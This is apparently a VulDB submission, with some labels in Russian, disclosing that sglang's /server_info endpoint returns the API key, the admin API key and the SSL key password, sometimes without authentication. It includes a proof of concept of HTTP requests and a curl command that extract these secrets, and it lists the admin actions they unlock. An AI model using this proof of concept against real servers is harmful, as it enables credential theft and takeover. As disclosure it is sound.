| Название | https://github.com/sgl-project/ sglang commit 594ec63 Cleartext Transmission of Sensitive Information |
|---|
| Описание | /server_info endpoint exposes api_key and admin_api_key via full ServerArgs serialization
### Summary
The `/server_info` (and deprecated `/get_server_info`) HTTP endpoint serializes the entire `ServerArgs` dataclass using `dataclasses.asdict()` and returns it in the JSON response. `ServerArgs` contains the fields `api_key`, `admin_api_key`, and `ssl_keyfile_password`. When an operator configures both `--api-key` and `--admin-api-key`, any caller that possesses the lower-privilege `api_key` can retrieve the `admin_api_key` (and vice versa). When only `--admin-api-key` is set without `--api-key`, the endpoint is entirely unauthenticated because it defaults to `AuthLevel.NORMAL`, so the `admin_api_key` is exposed to any anonymous caller.
### Details
**Serialization -- `python/sglang/srt/entrypoints/http_server.py` line 645**
```python
@app.get("/server_info")
async def server_info():
server_args = _global_state.tokenizer_manager.server_args
return {
**dataclasses.asdict(server_args), # <-- includes api_key and admin_api_key
**_global_state.scheduler_info,
"internal_states": internal_states,
"version": __version__,
}
```
`dataclasses.asdict()` recursively converts every field of `ServerArgs` to a dict. The relevant fields (lines 509-510 of `server_args.py`):
```python
api_key: Optional[str] = None
admin_api_key: Optional[str] = None
```
and line 390:
```python
ssl_keyfile_password: Optional[str] = None
```
All three are emitted in the response if populated.
**Missing auth -- same file, `/server_info` has no `@auth_level` decorator**
The auth middleware (`python/sglang/srt/utils/auth.py`, function `decide_request_auth`) applies the following logic for `AuthLevel.NORMAL` endpoints (lines 142-146):
```python
if api_key:
return AuthDecision(allowed=_check_bearer_token(authorization_header, api_key))
return AuthDecision(allowed=True)
```
When a server is started with `--admin-api-key` but without `--api-key`, `api_key is None`, and `NORMAL` endpoints allow all requests. This is confirmed by the auth unit test:
```python
decide_request_auth(method='GET', path='/server_info', authorization_header=None,
api_key=None, admin_api_key='supersecretadmin', auth_level=AuthLevel.NORMAL)
# -> AuthDecision(allowed=True)
```
When both keys are set, `NORMAL` level gates on `api_key` only, so a caller with the user-facing `api_key` can read the response which includes the `admin_api_key`.
Compare with correctly-protected endpoints: `/hicache/storage-backend` (lines 889-890) explicitly checks `server_args.admin_api_key` and returns a 400 if unset, and all LoRA management endpoints use `@auth_level(AuthLevel.ADMIN_OPTIONAL)`.
### Reproduction
### PoC
**Scenario 1: server started with only `--admin-api-key`, no `--api-key`**
```
GET /server_info HTTP/1.1
Host: <server>:30000
```
Response (truncated):
```json
{
"model_path": "/models/llama3",
"api_key": null,
"admin_api_key": "supersecretadmin",
"ssl_keyfile_password": null,
...
}
```
The `admin_api_key` is returned in plaintext with no authentication required.
**Scenario 2: server started with both `--api-key userkey` and `--admin-api-key adminkey`**
```
GET /server_info HTTP/1.1
Host: <server>:30000
Authorization: Bearer userkey
```
Response includes:
```json
{
"api_key": "userkey",
"admin_api_key": "adminkey",
...
}
```
A caller with only the regular user key can read the admin key and all management endpoints it protects.
**Verification command:**
```bash
curl -s http://localhost:30000/server_info | python3 -c "
import sys, json
d = json.load(sys.stdin)
print('api_key:', d.get('api_key'))
print('admin_api_key:', d.get('admin_api_key'))
print('ssl_keyfile_password:', d.get('ssl_keyfile_password'))
"
```
### Impact
An unauthenticated attacker (in the admin-key-only configuration) or a caller with a low-privilege user API key can retrieve the admin API key and all other server secrets in a single unauthenticated GET request. With the admin API key an attacker can then call all `ADMIN_OPTIONAL` endpoints including: loading arbitrary model weights from disk (`/update_weights_from_disk`), loading LoRA adapters from attacker-controlled paths (`/load_lora_adapter`), flushing caches, reconfiguring internal state, and obtaining model weight tensors (`/get_weights_by_name`).
### Environment
commit 594ec6335d1da58a2a17d3704acd44c1e72ca232 |
|---|
| Пользователь | geochen (UID 78995) |
|---|
| Представление | 13.09.2026 04:50 (22 дни назад) |
|---|
| Модерация | 04.10.2026 18:24 (22 days later) |
|---|
| Статус | принято |
|---|
| Запись VulDB | 413451 [sgl-project sglang до 0.5.21 HTTP Endpoint http_server.py server_info api_key слабое шифрование] |
|---|
| Баллы | 20 |
|---|